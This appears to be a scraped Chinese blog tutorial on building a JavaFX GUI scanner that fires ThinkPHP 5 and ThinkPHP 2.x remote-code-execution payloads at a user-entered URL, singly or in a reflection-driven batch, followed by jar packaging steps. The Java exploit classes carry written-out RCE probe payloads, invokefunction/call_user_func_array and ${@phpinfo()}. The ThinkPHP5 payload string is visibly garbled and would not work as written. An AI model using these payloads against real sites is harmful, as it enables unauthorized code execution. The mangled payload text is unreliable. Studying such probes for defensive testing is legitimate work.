赣州网站建设效果/百度搜索引擎

赣州网站建设效果,百度搜索引擎,苏州网站关键词优化推广,深圳前海自贸区注册公司政策目录 一,JAVAFX-GUI单个漏洞检测编写 1.1 绑定事件 1.2 Thinkphp5_Rce编写 1.3 编写利用类 1.4 Thinkphp2x_Rce编写 1.5 单个漏洞检测GUI工具完整代码 二,JAVAFX-GUI单个漏洞批量检测编写 2.1 编写利用反射类 2.2 批量检测漏洞完整GUI工具代码 三,JAVAFX-GUI…

目录

一,JAVAFX-GUI单个漏洞检测编写

1.1 绑定事件        

1.2 Thinkphp5_Rce编写 

 1.3 编写利用类

1.4 Thinkphp2x_Rce编写

1.5 单个漏洞检测GUI工具完整代码 

二,JAVAFX-GUI单个漏洞批量检测编写

2.1 编写利用反射类 

 2.2 批量检测漏洞完整GUI工具代码

 三,JAVAFX-GUI打包为jar包

 3.1.第一步打包jar

 3.2.工件处

3.3 主类选择如图所示

 3.4 本机使用配置

3.5 便捷使用创建bat文件 


一,JAVAFX-GUI单个漏洞检测编写

1.1 绑定事件        

布局上有两个按钮 分别的功能是 单个模块检测和多个模块检测。

单个模块检测

首选介绍单个模块检测

 单个模块的检测是 按钮检测的时 获取选择框的值 调用对应的对应的模块进行检测。-先择框选择的时候 绑定事件

需要---绑定下拉框和----按钮事件,获取----输入框的url信息和---返回响应结果设置到文本域框中

1.2 Thinkphp5_Rce编写 

// 没有选择过的话,会出现null,因此设置初始值final String[] tmp = {"Thinkphp5_Rce"};//绑定事件// 下拉框选择事件 设置类型为字符串类型,因为上面选择框内选择的为字符类型choiceBox.getSelectionModel().selectedItemProperty().addListener(new ChangeListener<String>() {@Overridepublic void changed(ObservableValue observableValue, String oldValue, String newValue) {//存储选择的值,在类里面创建另一个无法获取,因此在外面创建tmp[0] = newValue;}});//按钮点击事件BtnCheck.setOnAction(e->{//为了避免直接打印的卡顿,通过调用进程来实现new Thread(new Runnable() {@Overridepublic void run() {
//                    System.out.println("点击");
//                    System.out.println(tmp[0]);String url = textField.getText();if (tmp[0].equalsIgnoreCase("Thinkphp5_Rce")){Thinkphp5_Rce thinkphp5Rce = new Thinkphp5_Rce(url);String res = thinkphp5Rce.exploit();// System.out.println(res);// 将响应信息设置到文本域框中textArea.setText(res);}}}).start();
});

 1.3 编写利用类

package com.exp.exploit;import com.github.kevinsawicki.http.HttpRequest;public class Thinkphp5_Rce {private String url;public Thinkphp5_Rce() {}public Thinkphp5_Rce(String url) {this.url = url;}public String exploit(){String payload = "/?s=index/thinklapp/invokefunction&function=call user func_array&vars[0]=md5&vars[1][=1";try{HttpRequest request = HttpRequest.get(this.url + payload, true);String content = request.body();if (content.contains("c4ca4238a0b923820dcc509a6f75849b")){return this.url + "存在Thinkphp5_Rce漏洞:\n 漏洞检测代码:" + payload;}else{return "Thinkphp5_Rce漏洞 不存在";}} catch (Exception e) {e.printStackTrace();return "访问异常";}}}

1.4 Thinkphp2x_Rce编写

package com.exp.exploit;import com.github.kevinsawicki.http.HttpRequest;public class Thinkphp2x_Rce {private String url;public Thinkphp2x_Rce() {}public Thinkphp2x_Rce(String url) {this.url = url;}public String exploit(){String payload = "/?s=/E/D/I/${@phpinfo()}";try{HttpRequest request = HttpRequest.get(this.url + payload, true);String content = request.body();if (content.contains("phpinfo")){return this.url + " " + "存在Thinkphp2x_Rce漏洞:\n 漏洞检测代码:" + " " + this.url + payload;}else{return "Thinkphp2x_Rce漏洞 不存在";}} catch (Exception e) {e.printStackTrace();return "访问异常";}}}

1.5 单个漏洞检测GUI工具完整代码 

package com.exp;import com.exp.exploit.Thinkphp2x_Rce;
import com.exp.exploit.Thinkphp5_Rce;
import javafx.application.Application;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.collections.FXCollections;
import javafx.scene.Scene;
import javafx.scene.control.*;
import javafx.scene.layout.AnchorPane;
import javafx.stage.Stage;public class JavaFxMain extends Application {public static void main(String[] args) {//默认有的方法launch();}@Overridepublic void start(Stage stage) throws Exception {//设置舞台的标题stage.setTitle("漏洞检测工具");//禁止放大,无法点击最大化按钮stage.setResizable(false);//布局控件AnchorPane anchorPane = new AnchorPane();//设置控件Label UrlLabel = new Label("网址:");Label MsgLabel = new Label("信息:");//文本框TextField textField = new TextField();//设置文本框的默认值setText 设置提示setPromptTexttextField.setPromptText("请输入网址:");//设置下拉框String []pocs = {"Thinkphp5_Rce","Thinkphp2x_Rce",};ChoiceBox choiceBox = new ChoiceBox(FXCollections.observableArrayList(pocs));//设置默认值choiceBox.setValue("Thinkphp5_Rce");//设置按钮Button BtnCheck = new Button("单个检测");Button BtnBatch = new Button("批量检测");//设置文本域TextArea textArea = new TextArea();textArea.setPromptText("返回结果信息........");//设置下拉属性textArea.setWrapText(true);textArea.setPrefHeight(300);//设置控件的位置//设置网址标签的位置UrlLabel.setLayoutX(20);UrlLabel.setLayoutY(13);//设置信息标签的位置MsgLabel.setLayoutX(20);MsgLabel.setLayoutY(50);//设置文本框位置textField.setLayoutX(70);textField.setLayoutY(10);//设置文本框的宽度textField.setPrefWidth(260);//选择框choiceBox.setLayoutX(340);choiceBox.setLayoutY(10);//设置button1的位置BtnCheck.setLayoutX(480);BtnCheck.setLayoutY(10);//设置button2的位置BtnBatch.setLayoutX(550);BtnBatch.setLayoutY(10);//设置文本域的位置textArea.setLayoutX(70);textArea.setLayoutY(50);//add 是单个控件  addAll 是多个控件anchorPane.getChildren().addAll(UrlLabel,MsgLabel,textField,choiceBox,BtnCheck,BtnBatch,textArea);//设置场景 以及场景的大小Scene scene = new Scene(anchorPane, 700, 400);stage.setScene(scene);stage.show();// 没有选择过的话,会出现null,因此设置初始值final String[] tmp = {"Thinkphp5_Rce"};//绑定事件// 下拉框选择事件 设置类型为字符串类型,因为上面选择框内选择的为字符类型choiceBox.getSelectionModel().selectedItemProperty().addListener(new ChangeListener<String>() {@Overridepublic void changed(ObservableValue observableValue, String oldValue, String newValue) {//存储选择的值,在类里面创建另一个无法获取,因此在外面创建tmp[0] = newValue;}});//按钮点击事件BtnCheck.setOnAction(e->{//为了避免直接打印的卡顿,通过调用进程来实现new Thread(new Runnable() {@Overridepublic void run() {
//                    System.out.println("点击");
//                    System.out.println(tmp[0]);String url = textField.getText();if (tmp[0].equalsIgnoreCase("Thinkphp5_Rce")){Thinkphp5_Rce thinkphp5Rce = new Thinkphp5_Rce(url);//调用exp方法String res = thinkphp5Rce.exploit();//System.out.println(res);// 将响应信息设置到文本域框中textArea.setText(res);} else if (tmp[0].equalsIgnoreCase("Thinkphp2x_Rce")) {Thinkphp2x_Rce thinkphp2xRce = new Thinkphp2x_Rce(url);String res = thinkphp2xRce.exploit();textArea.setText(res);}}}).start();});}}

二,JAVAFX-GUI单个漏洞批量检测编写

  获取下拉框中的所有值,通过值,通过反射获取对应的exp类,通过反射设置url的值,通过值来进行调用,注意,下拉框的值要与类名一致.

2.1 编写利用反射类 

//批量检测//按钮点击事件BtnBatch.setOnAction(e->{//为了避免直接打印的卡顿,通过调用进程来实现new Thread(new Runnable() {@Overridepublic void run() {String url = textField.getText();ObservableList<String> AllItems = choiceBox.getItems();for (String item : AllItems) {try {//获取反射的类,这里需要注意这个com.exp.exploit后面的. 号Class clazz = Class.forName("com.exp.exploit." + item);// 反射的类含有无参构造Object o = clazz.newInstance();//修改反射的类的urlField fieldUrl = clazz.getDeclaredField("url");//设置权限fieldUrl.setAccessible(true);fieldUrl.set(o, url);Method methodExploit = clazz.getMethod("exploit");String res = (String) methodExploit.invoke(o);//先获取文本域中的内容,然后追加到文本域中(直接设置会出现覆盖情况)String text = textArea.getText().trim();textArea.setText(text + "\n" + res);} catch (ClassNotFoundException ex) {throw new RuntimeException(ex);} catch (InstantiationException ex) {throw new RuntimeException(ex);} catch (IllegalAccessException ex) {throw new RuntimeException(ex);} catch (NoSuchFieldException ex) {throw new RuntimeException(ex);} catch (NoSuchMethodException ex) {throw new RuntimeException(ex);} catch (InvocationTargetException ex) {throw new RuntimeException(ex);}}}}).start();});

 2.2 批量检测漏洞完整GUI工具代码

package com.exp;import com.exp.exploit.Thinkphp2x_Rce;
import com.exp.exploit.Thinkphp5_Rce;
import javafx.application.Application;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import javafx.scene.Scene;
import javafx.scene.control.*;
import javafx.scene.layout.AnchorPane;
import javafx.stage.Stage;import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;public class JavaFxMain extends Application {public static void main(String[] args) {//默认有的方法launch();}@Overridepublic void start(Stage stage) throws Exception {//设置舞台的标题stage.setTitle("漏洞检测工具");//禁止放大,无法点击最大化按钮stage.setResizable(false);//布局控件AnchorPane anchorPane = new AnchorPane();//设置控件Label UrlLabel = new Label("网址:");Label MsgLabel = new Label("信息:");//文本框TextField textField = new TextField();//设置文本框的默认值setText 设置提示setPromptTexttextField.setPromptText("请输入网址:");//设置下拉框String []pocs = {"Thinkphp5_Rce","Thinkphp2x_Rce",};ChoiceBox choiceBox = new ChoiceBox(FXCollections.observableArrayList(pocs));//设置默认值choiceBox.setValue("Thinkphp5_Rce");//设置按钮Button BtnCheck = new Button("单个检测");Button BtnBatch = new Button("批量检测");//设置文本域TextArea textArea = new TextArea();textArea.setPromptText("返回结果信息........");//设置下拉属性textArea.setWrapText(true);textArea.setPrefHeight(300);//设置控件的位置//设置网址标签的位置UrlLabel.setLayoutX(20);UrlLabel.setLayoutY(13);//设置信息标签的位置MsgLabel.setLayoutX(20);MsgLabel.setLayoutY(50);//设置文本框位置textField.setLayoutX(70);textField.setLayoutY(10);//设置文本框的宽度textField.setPrefWidth(260);//选择框choiceBox.setLayoutX(340);choiceBox.setLayoutY(10);//设置button1的位置BtnCheck.setLayoutX(480);BtnCheck.setLayoutY(10);//设置button2的位置BtnBatch.setLayoutX(550);BtnBatch.setLayoutY(10);//设置文本域的位置textArea.setLayoutX(70);textArea.setLayoutY(50);//add 是单个控件  addAll 是多个控件anchorPane.getChildren().addAll(UrlLabel,MsgLabel,textField,choiceBox,BtnCheck,BtnBatch,textArea);//设置场景 以及场景的大小Scene scene = new Scene(anchorPane, 650, 400);stage.setScene(scene);stage.show();// 没有选择过的话,会出现null,因此设置初始值final String[] tmp = {"Thinkphp5_Rce"};//绑定事件// 下拉框选择事件 设置类型为字符串类型,因为上面选择框内选择的为字符类型choiceBox.getSelectionModel().selectedItemProperty().addListener(new ChangeListener<String>() {@Overridepublic void changed(ObservableValue observableValue, String oldValue, String newValue) {//存储选择的值,在类里面创建另一个无法获取,因此在外面创建tmp[0] = newValue;}});//按钮点击事件BtnCheck.setOnAction(e->{//为了避免直接打印的卡顿,通过调用进程来实现new Thread(new Runnable() {@Overridepublic void run() {String url = textField.getText();if (tmp[0].equalsIgnoreCase("Thinkphp5_Rce")){Thinkphp5_Rce thinkphp5Rce = new Thinkphp5_Rce(url);//调用exp方法String res = thinkphp5Rce.exploit();//System.out.println(res);// 将响应信息设置到文本域框中textArea.setText(res);} else if (tmp[0].equalsIgnoreCase("Thinkphp2x_Rce")) {Thinkphp2x_Rce thinkphp2xRce = new Thinkphp2x_Rce(url);String res = thinkphp2xRce.exploit();textArea.setText(res);}}}).start();});//批量检测//按钮点击事件BtnBatch.setOnAction(e->{//为了避免直接打印的卡顿,通过调用进程来实现new Thread(new Runnable() {@Overridepublic void run() {String url = textField.getText();ObservableList<String> AllItems = choiceBox.getItems();for (String item : AllItems) {try {//获取反射的类,这里需要注意这个com.exp.exploit后面的. 号Class clazz = Class.forName("com.exp.exploit." + item);// 反射的类含有无参构造Object o = clazz.newInstance();//修改反射的类的urlField fieldUrl = clazz.getDeclaredField("url");//设置权限fieldUrl.setAccessible(true);fieldUrl.set(o, url);Method methodExploit = clazz.getMethod("exploit");String res = (String) methodExploit.invoke(o);//先获取文本域中的内容,然后追加到文本域中(直接设置会出现覆盖情况)String text = textArea.getText().trim();textArea.setText(text + "\n" + res);
//                            System.out.println(res);} catch (ClassNotFoundException ex) {throw new RuntimeException(ex);} catch (InstantiationException ex) {throw new RuntimeException(ex);} catch (IllegalAccessException ex) {throw new RuntimeException(ex);} catch (NoSuchFieldException ex) {throw new RuntimeException(ex);} catch (NoSuchMethodException ex) {throw new RuntimeException(ex);} catch (InvocationTargetException ex) {throw new RuntimeException(ex);}}}}).start();});}}

 三,JAVAFX-GUI打包为jar包

 3.1.第一步打包jar

在设置处打开项目结构

 3.2.工件处

3.3 主类选择如图所示

如图所示的路径不要错,也不要改,不然会出现问题 

点击确定完成后 

选择应用-→点击确定,然后再IDEA的最上面选择构建工件

选择构建

输出的工件如图所示:在out中,然后就可以拿来使用了 

 3.4 本机使用配置

        此时将构建好的jar包,复制到桌面发现打不开,或者出现打开后文件大小存在错误,这是因为构建工件时,使用的还是系统内置的环境,需要做下面的配置,注意其中-path后的路径替换为自己本机的包的目录,下面同理

java -jar --module-path "D:\javafx-sdk-17.0.13\lib" --add-modules javafx.controls,javafx.fxml C:\Users\86199\Desktop\javaFxTools.jar
C:\Users\86199\.jdks\corretto-17.0.10\bin\java -jar --module-path "D:\javafx-sdk-17.0.13\lib" --add-modules javafx.controls,javafx.fxml C:\Users\86199\Desktop\javaFxTools.jar

使用时需要在17.0.10 bin环境下使用

java -version

 然后就会打开如下的工具界面

3.5 便捷使用创建bat文件 

C:\Users\86199\.jdks\corretto-17.0.10\bin\java -jar --module-path "D:\javafx-sdk-17.0.13\lib" --add-modules javafx.controls,javafx.fxml C:\Users\86199\Desktop\javaFxTools.jar前面是jdk17的bin环境路径 使用的时候只要双击bat文件即可

测试能不能正常使用,发现可以正常使用 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/896190.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

mysql-Innodb记录结构深度解析

Innodb记录结构 InnoDB记录结构深度解析一、InnoDB存储基础单元&#xff1a;页&#xff08;Page&#xff09;二、行格式&#xff08;Row Format&#xff09; 三、核心行格式详解1. Compact行格式结构组成&#xff1a; 2. Redundant行格式&#xff08;兼容旧版本&#xff09;核心…

Deepin(Linux)安装MySQL指南

1.下载 地址&#xff1a;https://downloads.mysql.com/archives/community/ 2.将文件解压到 /usr/local 目录下 先cd到安装文件所在目录再解压&#xff0c;本机是cd /home/lu01/Downloads sudo tar -xvJf mysql-9.2.0-linux-glibc2.28-x86_64.tar.xz -C /usr/local3.创建软链…

Visual Studio更新说明(关注:.NET+AI生产力)

Ver V0.0&#xff1a;Visual Studio 2022 v17.12更新:.NET9AI生产力 AI插件推荐 &#xff08;1&#xff09;腾讯云AI代码手&#xff08;内含了DeepSeek-R1&#xff09;&#xff0c;目前免费&#xff0c;但收费我也可能会买。 AI插件!推荐 &#xff08;1&#xff09;百度的…

java基于数组实现队列(四)

概述 实现我上一篇博客中提到的 实际上&#xff0c;就是用synchronized代码块解决线程安全问题&#xff0c;以及利用wait()、notify()实现线程阻塞、唤醒。 实现 pollV3() private Object lockBySynchronizednew Object();public int pollV3() {synchronized (lockBySynchr…

DeepSeek各模型现有版本对比分析

文章目录 一、基础模型系列&#xff1a;V1 到 V3 的演进二、专用模型系列&#xff1a;推理与多模态三、版本选型与商业化趋势 DeepSeek作为最近特别火爆的模型&#xff0c;本文将对DeepSeek现有的主要版本进行对比分析,涵盖参数规模、训练数据、功能改进、应用场景和性能表现等…

现场可以通过手机或者pad实时拍照上传到大屏幕的照片墙现场大屏电子照片墙功能

现场可以通过手机或者pad实时拍照上传到大屏幕的照片墙现场大屏电子照片墙功能&#xff0c;每个人都可以通过手机实时拍照上传到大屏幕上,同时还可以发布留言内容&#xff0c;屏幕上会同步滚动播放展示所有人的照片和留言。相比校传统的照片直播功能更加灵活方便&#xff0c;而…

项目管理工具Jira在营销工作管理中的应用与实践

本文由Atlassian全球白金合作伙伴-龙智编辑整理。 市场营销人员是维系组织团结的粘合剂。作为公司中最具协作精神的团队之一&#xff0c;他们确保每个人目标一致&#xff0c;并专注于客户真正的需求。他们擅长沟通协作&#xff0c;积极响应客户诉求及塑造品牌方向&#xff0c;…

基于Flask框架的食谱数据可视化分析系统的设计与实现

【Flask】基于Flask框架的食谱数据可视化分析系统的设计与实现 &#xff08;完整系统源码开发笔记详细部署教程&#xff09;✅ 目录 一、项目简介二、项目界面展示三、项目视频展示 一、项目简介 在当今数字化时代&#xff0c;信息可视化已成为一种高效的数据理解和传播手段。…

基于 DeepSeek + Gemeni 打造 AI+前端的多人聊天室

开源项目 botgroup.chat 介绍 AI 多人聊天室&#xff1a; 一个基于 React 和 Cloudflare Pages(免费一键部署) 的多人 AI 聊天应用&#xff0c;支持多个 AI 角色同时参与对话&#xff0c;提供类似群聊的交互体验。体验地址&#xff1a;https://botgroup.chat 开源仓库&#x…

详解单例模式、模板方法及项目和源码应用

大家好&#xff0c;我是此林。 设计模式为解决特定问题提供了标准化的方法。在项目中合理应用设计模式&#xff0c;可以避免重复解决相同类型的问题&#xff0c;使我们能够更加专注于具体的业务逻辑&#xff0c;减少重复劳动。设计模式在定义系统结构时通常考虑到未来的扩展。…

IOS UITextField 无法隐藏键盘问题

设置UITextField 键盘按钮返回键为“完成”&#xff0c;即return key 设置done .m代码设置代理 //设置代理协议 UITextFieldDelegate&#xff0c; self.mobileTextField.delegate self; ///点击完成键隐藏键盘 - (BOOL)textFieldShouldReturn:(UITextField *)textField{//取…

【深度学习】Unet的基础介绍

U-Net是一种用于图像分割的深度学习模型&#xff0c;特别适合医学影像和其他需要分割细节的任务。如图&#xff1a; Unet论文原文 为什么叫U-Net&#xff1f; U-Net的结构像字母“U”&#xff0c;所以得名。它的结构由两个主要部分组成&#xff1a; 下采样&#xff08;编码…

RT-Thread+STM32L475VET6实现定时器定时功能

文章目录 前言一、板载资源介绍二、具体步骤1.打开STM32CubeMX进行相关配置1.1 使用外部高速时钟&#xff0c;并修改时钟树1.2 打开定时器(定时器根据自己需求调整)1.3 打开串口1.4 生成工程 2. 配置定时器2.1 打开HWTIMER设备驱动2.2 声明定时器2.3将stm32l4xx_hal_msp.c中HAL…

链表-基础训练(二)链表 day14

两两交换链表中的节点 题目示意&#xff1a; 给定一个链表&#xff0c;两两交换其中相邻的节点&#xff0c;并返回交换后的链表。 你不能只是单纯的改变节点内部的值&#xff0c;而是需要实际的进行节点交换。 原先我的思路是图像上的思路&#xff0c;但是我感觉还是很复杂…

【Gin-Web】Bluebell社区项目梳理5:投票功能分析与实现

本文目录 一、投票功能投票流程实现代码redis投票 一、投票功能 投票流程 首先我们要明确&#xff0c;就是 谁&#xff08;哪个用户&#xff1a;userID&#xff09; 给 哪个帖子&#xff08;postID&#xff09; 投了 什么票&#xff08;赞成票or反对票&#xff09;。 赞成票…

vue-treeselect显示unknown的问题及解决

问题 解决办法 去node-modules包里面找到这个组件的源码&#xff0c;在它dist文件里面找到这个文件&#xff0c;然后搜索unknown&#xff0c;把它删掉就可以解决了。

MFC中CString的Format、与XML中的XML_SETTEXT格式化注意

1、在MFC中导入 "msxml6.dll"&#xff0c;并使用其中的XML_SETTEXT函数&#xff0c;此调用在进行格式化的时候&#xff0c;调用的还是CString.Format()函数&#xff01; 2、用double类型的数据&#xff0c;格式化整形数%d之前&#xff0c;必须将double强转为int&…

从零开始用react + tailwindcs + express + mongodb实现一个聊天程序(一)

项目包含5个模块 1.首页 (聊天主页) 2.注册 3.登录 4.个人资料 5.设置主题 一、配置开发环境 建立项目文件夹 mkdir chat-project cd chat-project mkdir server && mkdir webcd server npm init cd web npm create vitelatest 创建前端项目时我们选择javascrip…

具有整合各亚专科医学领域知识能力的AI智能体开发纲要(2025版)

整合各亚专科医学领域知识能力的AI代理的开发与研究 一、引言 1.1 研究背景 在科技飞速发展的当下,人工智能(AI)已成为推动各行业变革的关键力量,医疗领域也不例外。近年来,AI 在医疗行业的应用取得了显著进展,从医学影像诊断到疾病预测,从药物研发到个性化医疗,AI 技…

YOLO11 【四】 【DNF制作自己的数据集,切割视频以及labelimg 闪退问题】

一、问题labelimg 闪退 一点w打标 labelimg就闪退 **原因 &#xff1a; python 版本太高 ** 解决办法&#xff1a;单独创建一个虚拟环境用于打标 conda create -n labelimg python3.9 二、使用python脚本切割视频 # -*- coding: utf-8 -*- import cv2 import osdef video_…